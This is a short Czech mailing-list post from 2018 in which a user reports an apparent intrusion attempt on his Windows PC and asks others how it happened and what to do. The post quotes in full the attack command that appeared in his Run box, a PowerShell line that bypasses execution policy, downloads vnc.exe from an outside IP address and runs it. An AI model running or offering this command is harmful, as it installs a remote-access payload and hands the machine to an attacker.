[OT] utok na pocitac

Jaroslav Buchta jaroslav.buchta na hascomp.cz
Pátek Říjen 19 15:56:08 CEST 2018


Dnes se mi 2x stalo (po velke aktualizaci windows ;-) ) ze se mi 2x neco 
pokusilo prevzit UI pocitace, v radku pro spusteni programu se objevilo

PowerShell -ExecutionPolicy Bypass (New-Object 
System.Net.WebClient).DownloadFile('http://92.63.197.48/vnc.exe','%temp%\06876506005.exe');Start-Process 
'%temp%\06876506005.exe'

coz dava smysl. Ma nekdo zkusenost nebo tuseni kudy to neco napadlo a co 
s tim? Heslo jsem zmenil a radsi pracuju offline aspon kdyz jsem na 
verejne adrese... Defender nic nesignalizuje, VNC nainstalovany nemam.

Nebo je to nova featura windows? :-P



Další informace o konferenci Hw-list